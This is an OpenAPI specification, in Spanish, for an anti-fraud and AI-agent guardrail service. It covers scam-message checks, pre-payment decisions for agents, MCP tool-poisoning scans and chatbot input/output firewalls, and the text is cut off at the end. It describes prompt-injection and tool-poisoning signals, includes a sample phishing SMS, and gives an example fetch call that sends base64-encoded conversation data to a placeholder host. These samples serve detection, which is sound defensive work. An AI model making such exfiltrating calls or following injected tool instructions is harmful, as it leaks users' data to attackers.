{"openapi":"3.0.3","info":{"title":"API de Comprobar · AIM SHIELD","version":"1","description":"Veredicto antifraude de un mensaje. Solo para clientes con contrato. Claves de prueba (prefijo «aims_test_»): mismo formato de respuesta, sin IA, sin abrir enlaces, sin gastar cupo real, sin contar en el consumo y sin guardar nada. Solo valen en /v1/comprobar, /v1/comprobar/lote y /v1/uso. Estos 3 textos de ejemplo dan siempre el mismo veredicto: «Ejemplo AIMS estafa: tu cuenta ha sido bloqueada. Verifica tus datos hoy mismo en https://verificacion-cuenta.ejemplo.invalid/acceso o la perderás.» (estafa); «Ejemplo AIMS sospechoso: tienes un paquete pendiente de entrega. Confirma tu dirección cuando puedas.» (sospechoso); «Ejemplo AIMS sin señales: nos vemos mañana a las cinco en la puerta del cine.» (sin_senales). Cualquier otro texto se analiza solo con las reglas. Inteligencia de campañas (v2): misma clave y mismo cupo; las claves de prueba no valen. Los datos llevan su licencia y su atribución en cada respuesta."},"paths":{"/v1/comprobar":{"post":{"summary":"Comprueba un mensaje","security":[{"clave":[]}],"requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","required":["texto"],"properties":{"texto":{"type":"string","maxLength":20000},"remitente":{"type":"string","maxLength":60,"description":"Opcional. Quién firma el SMS o el correo, tal como lo ve la persona (un número, un nombre o «desconocido»). Ayuda a valorar a quien dice ser un banco desde un móvil. Solo se usa para analizar: lo miran nuestras reglas y, si pides «ia», va junto al texto en la segunda opinión. No se guarda ni se usa para aprender."},"ia":{"type":"boolean","default":false,"description":"Pide también la segunda opinión de IA (con cupo propio)."},"enlaces":{"type":"boolean","default":false,"description":"Abre los enlaces del texto para valorarlos (con cupo propio). Por defecto no se abren."},"idioma":{"type":"string","enum":["es","ca","gl","eu"],"default":"es","description":"Opcional. La lengua de los motivos y del «qué hacer». Si no está disponible, la respuesta va en castellano y lo dice en «aviso_idioma»."}}},"example":{"texto":"Ejemplo AIMS estafa: tu cuenta ha sido bloqueada. Verifica tus datos hoy mismo en https://verificacion-cuenta.ejemplo.invalid/acceso o la perderás."}}}},"responses":{"200":{"description":"Veredicto","content":{"application/json":{"schema":{"type":"object","properties":{"nivel":{"type":"string","enum":["sin_senales","sospechoso","estafa"]},"titulo":{"type":"string"},"motivos":{"type":"array","items":{"type":"string"}},"consejos":{"type":"array","items":{"type":"string"}},"enlaces":{"type":"array","items":{"type":"object"}},"iban":{"type":"array","items":{"type":"object"}},"verificacion_beneficiario":{"type":"object"},"ia":{"type":"boolean"},"version":{"type":"string"}}},"example":{"nivel":"estafa","titulo":"Esto es una estafa (respuesta de ejemplo)","motivos":["Ejemplo: pide verificar los datos de una cuenta con prisa y un enlace.","Ejemplo: amenaza con perder la cuenta si no se actúa hoy."],"consejos":["No pulses el enlace.","Entra en tu banca por la app o la web de siempre."],"enlaces":[{"host":"verificacion-cuenta.ejemplo.invalid","official":false,"brand":null,"age_days":null}],"iban":[],"ia":false,"version":"1"}}}},"400":{"description":"Petición mal formada"},"401":{"description":"Clave ausente o no válida"},"413":{"description":"Texto demasiado largo"},"429":{"description":"Cupo agotado (cabecera Retry-After)"}},"description":"Con una clave de prueba (aims_test_…) los textos de ejemplo de la descripción general dan siempre el mismo veredicto."}},"/v1/antes-de-actuar":{"post":{"summary":"Antes de que un agente de IA pague, dé datos o descargue algo","description":"Devuelve «parar», «preguntar» (a la persona) o «seguir», con los motivos. Mira el enlace con las reglas de Comprobar, el texto de la página en busca de instrucciones escondidas para la IA y, si se da, la cuenta a la que se va a pagar. No guarda nada.","security":[{"clave":[]}],"requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","required":["accion","enlace"],"properties":{"accion":{"type":"string","enum":["pagar","dar_datos","iniciar_sesion","descargar","otra"]},"enlace":{"type":"string","maxLength":2000},"texto_de_la_pagina":{"type":"string","description":"Entera; miramos su principio y su final. El cuerpo, como mucho de 120000 bytes. Si lleva el resultado de la verificación del beneficiario del banco (por ejemplo, «Verificación del beneficiario: No coincidente») y la acción es «pagar», un «no coincide» o «no se pudo verificar» da «parar» y un «casi coincide», «preguntar»."},"iban":{"type":"string","maxLength":64},"iban_habitual":{"type":"string","maxLength":64},"idioma":{"type":"string","enum":["es","ca","gl","eu"],"default":"es","description":"Opcional. La lengua de los motivos y del «qué hacer». Si no está disponible, la respuesta va en castellano y lo dice en «aviso_idioma»."},"mandato":{"type":"object","description":"Opcional (E124): el mandato de pago del agente, con «intencion» y/o «carrito» (formas de AP2, https://ap2-protocol.org/ap2/specification/). Sin red comprobamos: que el carrito no supere el importe de la intención, que el comercio y el dominio coincidan con los de la página, que no haya caducado y que el beneficiario o la cuenta no hayan cambiado. NO comprobamos la firma: la respuesta lleva siempre mandato.firma = «no_comprobada» y la firma nunca basta para «seguir».","properties":{"intencion":{"type":"object","description":"Intención del usuario. AP2 v0.2 (mandato abierto): exp y constraints (checkout.allowed_merchants, payment.allowed_payees, payment.amount_range, payment.budget, payment.execution_date); AP2 v0.1: intent_expiry y merchants. Campos de AIM SHIELD: importe_maximo {moneda, valor} e iban_esperado."},"carrito":{"type":"object","description":"Carrito. AP2 v0.2 (mandato de pago cerrado): payee, payment_amount {amount en unidades menores, currency}, exp, execution_date; AP2 v0.1: contents.payment_request.details.total.amount {currency, value}. Campos de AIM SHIELD: comercio, dominio e iban."}}},"abrir_enlace":{"type":"boolean","default":false,"description":"Abre el enlace para valorarlo (con cupo propio). Por defecto no se abre."}}}}}},"responses":{"200":{"description":"Decisión","content":{"application/json":{"schema":{"type":"object","properties":{"decision":{"type":"string","enum":["parar","preguntar","seguir"]},"titulo":{"type":"string"},"motivos":{"type":"array","items":{"type":"string"}},"que_hacer":{"type":"array","items":{"type":"string"}},"instrucciones_ocultas":{"type":"boolean"},"owasp":{"type":"array","items":{"type":"string","enum":["ASI01","ASI02","ASI03","ASI04","ASI05","ASI06","ASI07","ASI08","ASI09","ASI10","LLM01:2025","LLM02:2025","LLM03:2025","LLM04:2025","LLM05:2025","LLM06:2025","LLM07:2025","LLM08:2025","LLM09:2025","LLM10:2025"]},"description":"Códigos OWASP de todos los motivos. LLM01:2025 a LLM10:2025 son el OWASP Top 10 for LLM Applications 2025; ASI01 a ASI10, el OWASP Top 10 for Agentic Applications for 2026. Cada motivo lleva el código más cercano: es una referencia, no una certificación."},"motivos_owasp":{"type":"array","items":{"type":"array","items":{"type":"string","enum":["ASI01","ASI02","ASI03","ASI04","ASI05","ASI06","ASI07","ASI08","ASI09","ASI10","LLM01:2025","LLM02:2025","LLM03:2025","LLM04:2025","LLM05:2025","LLM06:2025","LLM07:2025","LLM08:2025","LLM09:2025","LLM10:2025"]}},"description":"Los códigos de cada motivo, en la misma posición que en «motivos»."},"sensibilidad":{"type":"string","enum":["baja","alta"],"description":"Solo si tu clave tiene una sensibilidad distinta de «media». Se fija en la configuración de la clave, no en la petición."},"modo":{"type":"string","enum":["observar"],"description":"Solo si tu clave está en modo «observar» (se fija en la configuración de la clave, no en la petición)."},"habria_decidido":{"type":"string","description":"Solo en modo «observar»: la decisión que se habría dado."},"aviso":{"type":"string","description":"Solo si la petición traía «modo» o «sensibilidad»: no se aceptan ahí y se han ignorado; valen los de la configuración de tu clave."},"mandato":{"type":"object","description":"Solo si se envió «mandato»: firma (siempre «no_comprobada»), comprobado, sin_comprobar y caduca.","properties":{"firma":{"type":"string","enum":["no_comprobada"]},"comprobado":{"type":"array","items":{"type":"string"}},"sin_comprobar":{"type":"array","items":{"type":"string"}},"caduca":{"type":"string","nullable":true}}},"verificacion_beneficiario":{"type":"object","nullable":true,"description":"El resultado leído del texto (status y label), o null."},"version":{"type":"string"}}}}}},"400":{"description":"Petición mal formada (también un mandato que no se puede leer)"},"401":{"description":"Clave ausente o no válida"},"413":{"description":"Texto demasiado largo"},"429":{"description":"Cupo agotado (cabecera Retry-After)"}}}},"/v1/servidores-mcp/revisar":{"post":{"summary":"Antes de conectar un servidor MCP a tu agente: ¿hay herramientas envenenadas o han cambiado?","description":"Recibe la lista de herramientas de un servidor MCP (el JSON de «tools/list») y devuelve «permitir», «revisar» o «bloquear» con los hallazgos: órdenes escondidas para el modelo en descripciones y esquemas, etiquetas como <IMPORTANT>, texto invisible, herramientas que dan órdenes sobre otras, archivos de claves, envíos a direcciones externas, enlaces dudosos y bloques en base64. También devuelve una huella (hash) de cada herramienta y del conjunto: guárdala al aprobar el servidor y mándala como «huella_anterior» la próxima vez para saber qué herramientas han cambiado. No guarda nada del servidor: todo viaja en la petición. Misma clave y mismo cupo que el resto.","security":[{"clave":[]}],"requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","required":["herramientas"],"properties":{"herramientas":{"type":"array","minItems":1,"maxItems":200,"description":"La lista «tools» de tools/list: name (obligatorio), description e inputSchema. También se lee title, outputSchema y annotations. Se acepta el objeto {\"tools\": [...]} entero. El cuerpo, como mucho de 120000 bytes.","items":{"type":"object","required":["name"],"properties":{"name":{"type":"string","maxLength":200},"description":{"type":"string"},"inputSchema":{"type":"object"}}}},"idioma":{"type":"string","enum":["es","ca","gl","eu"],"default":"es","description":"Opcional. La lengua de los motivos y del «qué hacer». Si no está disponible, la respuesta va en castellano y lo dice en «aviso_idioma»."},"huella_anterior":{"description":"Opcional. La «huella» que te dimos al aprobar el servidor (el objeto entero, para saber qué herramientas cambiaron) o solo su «conjunto» (texto, para saber si algo cambió).","oneOf":[{"type":"object"},{"type":"string"}]}}}}}},"responses":{"200":{"description":"Resultado","content":{"application/json":{"schema":{"type":"object","properties":{"decision":{"type":"string","enum":["permitir","revisar","bloquear"]},"titulo":{"type":"string"},"herramientas_revisadas":{"type":"integer"},"hallazgos":{"type":"array","items":{"type":"object","properties":{"herramienta":{"type":"string"},"donde":{"type":"string"},"tipo":{"type":"string","description":"Qué se encontró, por ejemplo orden_a_la_ia, etiqueta_oculta, texto_invisible_etiquetas, lectura_sensible_orden, envio_externo, sombreado_fuerte, nombre_repetido, base64, enlace_dudoso o cambio_de_herramienta."},"nivel":{"type":"string","enum":["alta","media","baja"]},"motivo":{"type":"string"},"fragmento":{"type":"string"},"owasp":{"type":"array","items":{"type":"string","enum":["ASI01","ASI02","ASI03","ASI04","ASI05","ASI06","ASI07","ASI08","ASI09","ASI10","LLM01:2025","LLM02:2025","LLM03:2025","LLM04:2025","LLM05:2025","LLM06:2025","LLM07:2025","LLM08:2025","LLM09:2025","LLM10:2025"]}}}}},"motivos":{"type":"array","items":{"type":"string"}},"que_hacer":{"type":"array","items":{"type":"string"}},"huella":{"type":"object","description":"version, conjunto (hash de todas) y herramientas ({nombre: hash}). Guárdala tú: nosotros no.","properties":{"version":{"type":"string"},"conjunto":{"type":"string"},"herramientas":{"type":"object"}}},"cambios":{"type":"object","description":"estado (sin_huella_anterior, igual o cambiado) y, si mandaste la lista de huellas, cambiadas, nuevas y quitadas.","properties":{"estado":{"type":"string","enum":["sin_huella_anterior","igual","cambiado"]},"cambiadas":{"type":"array","items":{"type":"string"}},"nuevas":{"type":"array","items":{"type":"string"}},"quitadas":{"type":"array","items":{"type":"string"}}}},"owasp":{"type":"array","items":{"type":"string","enum":["ASI01","ASI02","ASI03","ASI04","ASI05","ASI06","ASI07","ASI08","ASI09","ASI10","LLM01:2025","LLM02:2025","LLM03:2025","LLM04:2025","LLM05:2025","LLM06:2025","LLM07:2025","LLM08:2025","LLM09:2025","LLM10:2025"]}},"nota":{"type":"string"},"version":{"type":"string"}}}}}},"400":{"description":"Petición mal formada (lista vacía, herramienta sin nombre, huella que no se puede leer)"},"401":{"description":"Clave ausente o no válida"},"413":{"description":"Lista demasiado larga"},"415":{"description":"Falta Content-Type: application/json"},"429":{"description":"Cupo agotado (cabecera Retry-After)"}}}},"/v1/cortafuegos/entrada":{"post":{"summary":"Antes de pasar a tu chatbot lo que escribió una persona","description":"Mira si el texto intenta saltarse las instrucciones de la IA, lleva datos personales o enlaces de estafa. Devuelve «permitir», «revisar» o «bloquear», los motivos y el mismo texto con los datos personales tapados. No abre enlaces, no usa IA y no guarda nada: solo cuenta, por día y sin texto, cuántas veces salió cada decisión. Misma clave y mismo cupo que Comprobar.","security":[{"clave":[]}],"requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","required":["texto"],"properties":{"texto":{"type":"string","minLength":1,"maxLength":20000},"idioma":{"type":"string","enum":["es","ca","gl","eu"],"default":"es","description":"Opcional. La lengua de los motivos y del «qué hacer». Si no está disponible, la respuesta va en castellano y lo dice en «aviso_idioma»."},"contexto":{"type":"object","description":"Solo se usa en «salida»."}}}}}},"responses":{"200":{"description":"Decisión","content":{"application/json":{"schema":{"type":"object","properties":{"direccion":{"type":"string","enum":["entrada"]},"decision":{"type":"string","enum":["permitir","revisar","bloquear"]},"titulo":{"type":"string"},"motivos":{"type":"array","items":{"type":"string"}},"que_hacer":{"type":"array","items":{"type":"string"}},"texto_tapado":{"type":"string","description":"El texto con [DNI], [IBAN], [TARJETA], [TELÉFONO], [CORREO] y [SECRETO] en lugar de los datos."},"datos":{"type":"object","description":"Cuántos datos distintos de cada tipo: dni, iban, tarjeta, telefono, correo, secreto."},"secretos":{"type":"array","description":"Claves, tokens o contraseñas del texto: tipo, posición (inicio, fin) y muestra con los 4 primeros caracteres y «…». Nunca el secreto entero.","items":{"type":"object"}},"enlaces_con_datos":{"type":"array","description":"Solo en «salida»: enlaces o imágenes cuya dirección lleva datos (E252). Tipo, señales, posición y el principio de la dirección.","items":{"type":"object"}},"instrucciones_ocultas":{"type":"boolean"},"version":{"type":"string"},"owasp":{"type":"array","items":{"type":"string","enum":["ASI01","ASI02","ASI03","ASI04","ASI05","ASI06","ASI07","ASI08","ASI09","ASI10","LLM01:2025","LLM02:2025","LLM03:2025","LLM04:2025","LLM05:2025","LLM06:2025","LLM07:2025","LLM08:2025","LLM09:2025","LLM10:2025"]},"description":"Códigos OWASP de todos los motivos. LLM01:2025 a LLM10:2025 son el OWASP Top 10 for LLM Applications 2025; ASI01 a ASI10, el OWASP Top 10 for Agentic Applications for 2026. Cada motivo lleva el código más cercano: es una referencia, no una certificación."},"motivos_owasp":{"type":"array","items":{"type":"array","items":{"type":"string","enum":["ASI01","ASI02","ASI03","ASI04","ASI05","ASI06","ASI07","ASI08","ASI09","ASI10","LLM01:2025","LLM02:2025","LLM03:2025","LLM04:2025","LLM05:2025","LLM06:2025","LLM07:2025","LLM08:2025","LLM09:2025","LLM10:2025"]}},"description":"Los códigos de cada motivo, en la misma posición que en «motivos»."},"sensibilidad":{"type":"string","enum":["baja","alta"],"description":"Solo si tu clave tiene una sensibilidad distinta de «media». Se fija en la configuración de la clave, no en la petición."},"modo":{"type":"string","enum":["observar"],"description":"Solo si tu clave está en modo «observar» (se fija en la configuración de la clave, no en la petición)."},"habria_decidido":{"type":"string","description":"Solo en modo «observar»: la decisión que se habría dado."},"aviso":{"type":"string","description":"Solo si la petición traía «modo» o «sensibilidad»: no se aceptan ahí y se han ignorado; valen los de la configuración de tu clave."}}}}}},"400":{"description":"Petición mal formada"},"401":{"description":"Clave ausente o no válida"},"413":{"description":"Texto demasiado largo"},"415":{"description":"Falta Content-Type: application/json"},"429":{"description":"Cupo agotado (cabecera Retry-After)"}}}},"/v1/cortafuegos/salida":{"post":{"summary":"Antes de mostrar lo que va a responder tu chatbot","description":"Mira si la respuesta lleva datos personales, enlaces peligrosos o pide claves, códigos o pagos. Devuelve «permitir», «revisar» o «bloquear», los motivos y el mismo texto con los datos personales tapados. No abre enlaces, no usa IA y no guarda nada: solo cuenta, por día y sin texto, cuántas veces salió cada decisión. Misma clave y mismo cupo que Comprobar.","security":[{"clave":[]}],"requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","required":["texto"],"properties":{"texto":{"type":"string","minLength":1,"maxLength":20000},"idioma":{"type":"string","enum":["es","ca","gl","eu"],"default":"es","description":"Opcional. La lengua de los motivos y del «qué hacer». Si no está disponible, la respuesta va en castellano y lo dice en «aviso_idioma»."},"contexto":{"type":"object","description":"Opcional, solo en «salida» (E255). Describe la respuesta de un modelo que llegó por un relé o pasarela, para avisar de uno manipulado: solo sirve para avisar más, nunca para bajar una decisión.","properties":{"base_url":{"type":"string","maxLength":2000,"description":"La dirección base de la API de modelos que usó tu cliente."},"base_urls_conocidas":{"type":"array","maxItems":20,"items":{"type":"string","maxLength":2000},"description":"Las direcciones base que tu cliente conoce. Si «base_url» no es de ellas, se avisa."},"cabeceras":{"type":"object","description":"Las cabeceras de la respuesta del modelo (hasta 50), con valores de texto.","additionalProperties":{"type":"string"}},"campos":{"type":"array","maxItems":100,"items":{"type":"string","maxLength":100},"description":"Los nombres de los campos de primer nivel del JSON de la respuesta."}}}}}}}},"responses":{"200":{"description":"Decisión","content":{"application/json":{"schema":{"type":"object","properties":{"direccion":{"type":"string","enum":["salida"]},"decision":{"type":"string","enum":["permitir","revisar","bloquear"]},"titulo":{"type":"string"},"motivos":{"type":"array","items":{"type":"string"}},"que_hacer":{"type":"array","items":{"type":"string"}},"texto_tapado":{"type":"string","description":"El texto con [DNI], [IBAN], [TARJETA], [TELÉFONO], [CORREO] y [SECRETO] en lugar de los datos."},"datos":{"type":"object","description":"Cuántos datos distintos de cada tipo: dni, iban, tarjeta, telefono, correo, secreto."},"secretos":{"type":"array","description":"Claves, tokens o contraseñas del texto: tipo, posición (inicio, fin) y muestra con los 4 primeros caracteres y «…». Nunca el secreto entero.","items":{"type":"object"}},"enlaces_con_datos":{"type":"array","description":"Solo en «salida»: enlaces o imágenes cuya dirección lleva datos (E252). Tipo, señales, posición y el principio de la dirección.","items":{"type":"object"}},"instrucciones_ocultas":{"type":"boolean"},"version":{"type":"string"},"owasp":{"type":"array","items":{"type":"string","enum":["ASI01","ASI02","ASI03","ASI04","ASI05","ASI06","ASI07","ASI08","ASI09","ASI10","LLM01:2025","LLM02:2025","LLM03:2025","LLM04:2025","LLM05:2025","LLM06:2025","LLM07:2025","LLM08:2025","LLM09:2025","LLM10:2025"]},"description":"Códigos OWASP de todos los motivos. LLM01:2025 a LLM10:2025 son el OWASP Top 10 for LLM Applications 2025; ASI01 a ASI10, el OWASP Top 10 for Agentic Applications for 2026. Cada motivo lleva el código más cercano: es una referencia, no una certificación."},"motivos_owasp":{"type":"array","items":{"type":"array","items":{"type":"string","enum":["ASI01","ASI02","ASI03","ASI04","ASI05","ASI06","ASI07","ASI08","ASI09","ASI10","LLM01:2025","LLM02:2025","LLM03:2025","LLM04:2025","LLM05:2025","LLM06:2025","LLM07:2025","LLM08:2025","LLM09:2025","LLM10:2025"]}},"description":"Los códigos de cada motivo, en la misma posición que en «motivos»."},"sensibilidad":{"type":"string","enum":["baja","alta"],"description":"Solo si tu clave tiene una sensibilidad distinta de «media». Se fija en la configuración de la clave, no en la petición."},"modo":{"type":"string","enum":["observar"],"description":"Solo si tu clave está en modo «observar» (se fija en la configuración de la clave, no en la petición)."},"habria_decidido":{"type":"string","description":"Solo en modo «observar»: la decisión que se habría dado."},"aviso":{"type":"string","description":"Solo si la petición traía «modo» o «sensibilidad»: no se aceptan ahí y se han ignorado; valen los de la configuración de tu clave."}}}}}},"400":{"description":"Petición mal formada"},"401":{"description":"Clave ausente o no válida"},"413":{"description":"Texto demasiado largo"},"415":{"description":"Falta Content-Type: application/json"},"429":{"description":"Cupo agotado (cabecera Retry-After)"}}}},"/v1/pasarela-mcp/decidir":{"post":{"summary":"Para la pasarela MCP local: ¿dejo pasar esta llamada a una herramienta, o su resultado?","description":"Lo usa la pasarela MCP que corre en tu máquina, entre tu cliente MCP y tus servidores MCP (stdio). Nosotros no conectamos con tus servidores: solo vemos lo que la pasarela manda. Con «fase» «llamada» mira el nombre de la herramienta y sus argumentos antes de ejecutarla (cortafuegos de entrada, direcciones web que sacan datos y, si hay un enlace, el Guardián). Con «fase» «resultado» mira lo que devolvió la herramienta antes de que lo lea el modelo (cortafuegos de salida y memoria envenenada; en un resultado, las órdenes para la IA bloquean). Devuelve «permitir», «revisar» o «bloquear». No abre enlaces, no usa IA y no guarda nada. Cada llamada gasta una consulta del mismo cupo, con la misma clave.","security":[{"clave":[]}],"requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","required":["fase","herramienta"],"properties":{"fase":{"type":"string","enum":["llamada","resultado"]},"herramienta":{"type":"string","maxLength":200,"description":"El «name» de tools/call."},"argumentos":{"type":"object","description":"Con «llamada»: los «arguments» de tools/call. Se miran todos sus textos (principio y final, hasta 20000 caracteres)."},"resultado":{"type":"object","description":"Con «resultado»: el «result» de tools/call (content, structuredContent, isError). Se mira el texto; las imágenes, el audio y los archivos binarios no, y se cuentan en «contenido_sin_revisar». La pasarela no manda su contenido."},"accion":{"type":"string","enum":["pagar","dar_datos","iniciar_sesion","descargar","otra"],"description":"Opcional. La acción para el Guardián si los argumentos llevan un enlace. Si no viene, se deduce del nombre de la herramienta."}}},"example":{"fase":"llamada","herramienta":"fetch","argumentos":{"url":"https://ejemplo.invalid/c?d=aG9sYSwgZXN0YSBlcyBsYSBjb252ZXJzYWNpb24gZW50ZXJh"}}}}},"responses":{"200":{"description":"Decisión","content":{"application/json":{"schema":{"type":"object","properties":{"fase":{"type":"string","enum":["llamada","resultado"]},"herramienta":{"type":"string"},"decision":{"type":"string","enum":["permitir","revisar","bloquear"]},"titulo":{"type":"string"},"motivos":{"type":"array","items":{"type":"string"}},"origen":{"type":"array","description":"De dónde sale cada motivo (misma posición): cortafuegos, exfiltracion o guardian.","items":{"type":"string","enum":["cortafuegos","exfiltracion","guardian"]}},"que_hacer":{"type":"array","items":{"type":"string"}},"datos":{"type":"object"},"secretos":{"type":"array","items":{"type":"object"}},"enlaces_con_datos":{"type":"array","description":"Direcciones de los argumentos que llevan datos: señales y el principio de la dirección, nunca entera.","items":{"type":"object"}},"contenido_sin_revisar":{"type":"integer"},"instrucciones_ocultas":{"type":"boolean"},"accion_guardian":{"type":"string","nullable":true},"version":{"type":"string"},"owasp":{"type":"array","items":{"type":"string","enum":["ASI01","ASI02","ASI03","ASI04","ASI05","ASI06","ASI07","ASI08","ASI09","ASI10","LLM01:2025","LLM02:2025","LLM03:2025","LLM04:2025","LLM05:2025","LLM06:2025","LLM07:2025","LLM08:2025","LLM09:2025","LLM10:2025"]},"description":"Códigos OWASP de todos los motivos. LLM01:2025 a LLM10:2025 son el OWASP Top 10 for LLM Applications 2025; ASI01 a ASI10, el OWASP Top 10 for Agentic Applications for 2026. Cada motivo lleva el código más cercano: es una referencia, no una certificación."},"motivos_owasp":{"type":"array","items":{"type":"array","items":{"type":"string","enum":["ASI01","ASI02","ASI03","ASI04","ASI05","ASI06","ASI07","ASI08","ASI09","ASI10","LLM01:2025","LLM02:2025","LLM03:2025","LLM04:2025","LLM05:2025","LLM06:2025","LLM07:2025","LLM08:2025","LLM09:2025","LLM10:2025"]}},"description":"Los códigos de cada motivo, en la misma posición que en «motivos»."},"sensibilidad":{"type":"string","enum":["baja","alta"],"description":"Solo si tu clave tiene una sensibilidad distinta de «media». Se fija en la configuración de la clave, no en la petición."},"modo":{"type":"string","enum":["observar"],"description":"Solo si tu clave está en modo «observar» (se fija en la configuración de la clave, no en la petición)."},"habria_decidido":{"type":"string","description":"Solo en modo «observar»: la decisión que se habría dado."},"aviso":{"type":"string","description":"Solo si la petición traía «modo» o «sensibilidad»: no se aceptan ahí y se han ignorado; valen los de la configuración de tu clave."}}}}}},"400":{"description":"Petición mal formada"},"401":{"description":"Clave ausente o no válida"},"413":{"description":"Demasiado texto"},"415":{"description":"Falta Content-Type: application/json"},"429":{"description":"Cupo agotado (cabecera Retry-After)"}}}},"/v1/comprobar/lote":{"post":{"summary":"Comprueba hasta 50 mensajes en una llamada","description":"Cada mensaje gasta un cupo, como una llamada a Comprobar. Si el cupo no alcanza para todos, no se analiza ninguno (429). Un mensaje mal formado no tumba el lote: su entrada lleva «error» y no gasta cupo. Sin IA ni enlaces abiertos. Hasta 200000 caracteres entre todos. Las respuestas van en el mismo orden.","security":[{"clave":[]}],"requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","required":["mensajes"],"properties":{"mensajes":{"type":"array","minItems":1,"maxItems":50,"items":{"type":"object","required":["texto"],"properties":{"texto":{"type":"string","maxLength":20000},"remitente":{"type":"string","maxLength":60}}}},"idioma":{"type":"string","enum":["es","ca","gl","eu"],"default":"es","description":"Opcional. Una lengua para todo el lote. La lengua de los motivos y del «qué hacer». Si no está disponible, la respuesta va en castellano y lo dice en «aviso_idioma»."}}},"example":{"mensajes":[{"texto":"Ejemplo AIMS estafa: tu cuenta ha sido bloqueada. Verifica tus datos hoy mismo en https://verificacion-cuenta.ejemplo.invalid/acceso o la perderás."},{"texto":"Ejemplo AIMS sin señales: nos vemos mañana a las cinco en la puerta del cine.","remitente":"desconocido"}]}}}},"responses":{"400":{"description":"Petición mal formada"},"401":{"description":"Clave ausente o no válida"},"413":{"description":"Demasiado texto"},"415":{"description":"Falta Content-Type: application/json"},"429":{"description":"Cupo agotado (cabecera Retry-After)"},"200":{"description":"Un resultado por mensaje, en orden","content":{"application/json":{"schema":{"type":"object","properties":{"resultados":{"type":"array","items":{"oneOf":[{"type":"object","properties":{"nivel":{"type":"string","enum":["sin_senales","sospechoso","estafa"]},"titulo":{"type":"string"},"motivos":{"type":"array","items":{"type":"string"}},"consejos":{"type":"array","items":{"type":"string"}},"enlaces":{"type":"array","items":{"type":"object"}},"iban":{"type":"array","items":{"type":"object"}},"ia":{"type":"boolean"},"version":{"type":"string"}}},{"type":"object","properties":{"error":{"type":"string"}}}]}},"analizados":{"type":"integer"},"rechazados":{"type":"integer"},"version":{"type":"string"}}},"example":{"resultados":[{"nivel":"estafa","titulo":"Esto es una estafa (respuesta de ejemplo)","motivos":["Ejemplo: pide verificar los datos de una cuenta con prisa y un enlace.","Ejemplo: amenaza con perder la cuenta si no se actúa hoy."],"consejos":["No pulses el enlace.","Entra en tu banca por la app o la web de siempre."],"enlaces":[{"host":"verificacion-cuenta.ejemplo.invalid","official":false,"brand":null,"age_days":null}],"iban":[],"ia":false,"version":"1"},{"error":"Falta «texto»."}],"analizados":1,"rechazados":1,"version":"1"}}}}}}},"/v1/uso":{"get":{"summary":"Consumo del periodo de esta clave","description":"Solo números y solo de la clave que pregunta: mensajes de hoy y del mes (UTC), día a día, y el cupo que queda. Con una clave de prueba todo sale a cero y «modo» es «prueba». No gasta cupo de comprobación.","security":[{"clave":[]}],"responses":{"200":{"description":"Consumo","content":{"application/json":{"schema":{"type":"object","properties":{"modo":{"type":"string","enum":["real","prueba"]},"periodo":{"type":"string","description":"Mes UTC, AAAA-MM."},"mensajes_hoy":{"type":"integer"},"mensajes_periodo":{"type":"integer"},"por_dia":{"type":"object","additionalProperties":{"type":"integer"}},"cupo":{"type":"object","properties":{"por_minuto":{"type":"integer"},"por_dia":{"type":"integer"},"restante_dia":{"type":"integer"},"lote_maximo":{"type":"integer"}}},"version":{"type":"string"}}},"example":{"modo":"real","periodo":"2026-11","mensajes_hoy":120,"mensajes_periodo":4310,"por_dia":{"2026-11-01":4190,"2026-11-02":120},"cupo":{"por_minuto":60,"por_dia":20000,"restante_dia":19880,"lote_maximo":50},"version":"1"}}}},"401":{"description":"Clave ausente o no válida"},"429":{"description":"Demasiadas consultas (cabecera Retry-After)"}}}},"/v1/inteligencia/campanas":{"get":{"summary":"Campañas recientes de estafa (inteligencia v2)","description":"Indicadores de infraestructura (dominios y direcciones de servidores) agrupados en campañas cuando comparten kit, dirección de alojamiento o patrón de nombre en una ventana de 14 días. Sin datos personales. Misma clave y mismo cupo que Comprobar. Cada respuesta lleva las fuentes con su licencia y la atribución obligatoria.","security":[{"clave":[]}],"parameters":[{"name":"marca","in":"query","required":false,"schema":{"type":"string","maxLength":60},"description":"Marca suplantada: su nombre del catálogo («Banco Santander») o uno de sus dominios oficiales («bbva.es»). Una marca que no está en el catálogo responde 400."},{"name":"dias","in":"query","required":false,"schema":{"type":"integer","minimum":1,"maximum":30,"default":30}},{"name":"limite","in":"query","required":false,"schema":{"type":"integer","minimum":1,"maximum":200,"default":50}},{"name":"formato","in":"query","required":false,"schema":{"type":"string","enum":["json","stix"],"default":"json"},"description":"«stix» devuelve un bundle STIX 2.1 (application/stix+json;version=2.1)."}],"responses":{"401":{"description":"Clave ausente o no válida (las claves de prueba no valen aquí)"},"404":{"description":"No disponible (apagado)"},"429":{"description":"Cupo agotado (cabecera Retry-After); cada llamada gasta 1 del mismo cupo que Comprobar"},"400":{"description":"Parámetro no válido"},"200":{"description":"Campañas","content":{"application/json":{"schema":{"type":"object","properties":{"total":{"type":"integer"},"campanas":{"type":"array","items":{"type":"object","properties":{"id":{"type":"string","description":"Estable: no cambia cuando la campaña gana dominios."},"nombre":{"type":"string"},"marca":{"type":"string","nullable":true},"primera_vez":{"type":"string"},"ultima_vez":{"type":"string"},"total_dominios":{"type":"integer"},"dominios":{"type":"array","items":{"type":"string"}},"kits":{"type":"array","items":{"type":"string"}},"direcciones_ip":{"type":"array","items":{"type":"string"}},"vinculos":{"type":"array","items":{"type":"object","properties":{"tipo":{"type":"string","enum":["kit","ip","patron"]},"valor":{"type":"string"},"dominios":{"type":"integer"}}}},"fuentes":{"type":"array","items":{"type":"string"}},"confianza":{"type":"object","properties":{"puntuacion":{"type":"integer","minimum":0,"maximum":100},"nivel":{"type":"string","enum":["baja","media","alta"]},"desglose":{"type":"array","description":"Qué suma cada punto; la suma de «puntos» es la puntuación.","items":{"type":"object","properties":{"concepto":{"type":"string"},"detalle":{"type":"string"},"puntos":{"type":"integer"}}}}}},"marcas":{"type":"array","items":{"type":"string"},"description":"Todas las marcas del catálogo que imitan los dominios de la 